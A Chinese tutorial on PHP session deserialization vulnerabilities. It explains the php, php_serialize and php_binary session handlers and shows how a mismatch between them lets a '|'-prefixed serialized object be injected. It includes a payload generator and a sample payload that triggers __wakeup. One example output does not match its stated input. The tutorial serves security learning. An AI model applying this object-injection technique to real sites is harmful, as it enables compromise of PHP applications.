Session反序列化漏洞解析

参考文章:PHP session反序列化漏洞超详细讲解_php技巧_脚本之家 (jb51.net)

一、前置基础

1、session请求过程:

当某个用户第一次访问网站时,Session_start()函数会创建一个唯一的SessionID,并通过HTTP响应头,也就是返回包,将SessionID保存在客户端,也就是用户浏览器的Cookie中。与此同时,服务端也会在本地创建一个以SessionID命名的文件,用来保存这个用户的会话信息。当用户再次访问这个网站时,会自动通过HTTP请求头将Cookie中保存的SessionID再次发送给服务端,此时Session_start()函数不会再次分配一个SessionID,而是去寻找和这个SessionID同名的Session文件,将之前存储的信息读出,在当前脚本使用,达到跟踪用户的功能。

2、session配置

在探讨session反序列化漏洞时我们只需要关注存储引擎即可

注:session文件存储路径在php.ini文件中的session.save_path中(Linux默认为/tmp目录下)

PHP:

存储方式:键名+|+经过serialize函数处理后的值;

测试代码:

php 复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

当参数为user=123

输出结果为:

username|s:6:"123123";

PHP_serialize:

存储方式:经过serialize函数处理后的值

测试代码:

php 复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

输出结果为:

a:1:{s:8:"username";s:6:"123123";}

PHP_binary:

存储方式:键名长度所对应的ASCII码+键名+经过serialize函数处理后的值

测试代码:

php 复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

输出结果为:

usernames:6:"123123";

二、session反序列化漏洞

根据上面不同的session存储引擎可知,不同的存储引擎有着不同的解析方式,当存储引擎使用不当则可能会出现反序列化漏洞,如下:

serialize.php

php 复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";  

serialize1.php

php 复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class user{
    var $name;
    var $age;
    function __wakeup(){
        echo "hello ".$this->name." !";
    }
}

以上两PHP文件在session的存储引擎上采用了不同的方式,因此在解析session文件中的数据时就产生了歧义,如对于php_serialize来说 "|"仅仅只是一个字符,但对于php而言则是分割符,因此对session产生了不同的解析结果,我们通过如下脚本生成payload

makepayload.php

php 复制代码
<?php
class user {
    var $name;
    var $age;
}
$a = new user();
$a ->age="888";
$a ->name="cc";
echo "|".serialize($a);

payload:

|O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}

通过user传参给serialize.php

php_serialize解析结果:

a:1:{s:8:"username";s:56:"|O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}";}

此时我们访问serialize1.php,则会发现输出结果hello,cc!

分析:

对于serialize.php文件中的数据是一整条经过serialize函数处理后的结果,其代表的含义仅仅是一个username的键对应|O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}的值,在php_serialize眼中这仅仅只是个字符串。

但对于serialize1.php文件中的php_serialize而言整条数据是这样的

键名:username

值:O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}

在php眼中的"|"是分割符因此他直接将后面的数据解析为对象了,从而产生了反序列化漏洞

相关推荐
ac-er88882 小时前
PHP反射机制
开发语言·php
duliduli12194 小时前
雷池+frp 批量设置proxy_protocol实现真实IP透传
网络安全
hqqwwviw4 小时前
雷池+frp 批量设置proxy_protocol实现真实IP透传
网络安全
深海里的菠萝酱4 小时前
雷池+frp 批量设置proxy_protocol实现真实IP透传
网络安全
H3h3QAQ4 小时前
雷池+frp 批量设置proxy_protocol实现真实IP透传
网络安全
luthane4 小时前
python 实现dijkstra迪杰斯特拉算法
python·算法·php
zushy115 小时前
雷池+frp 批量设置proxy_protocol实现真实IP透传
网络安全
dhn9875 小时前
雷池+frp 批量设置proxy_protocol实现真实IP透传
网络安全
LLopache5 小时前
雷池+frp 批量设置proxy_protocol实现真实IP透传
网络安全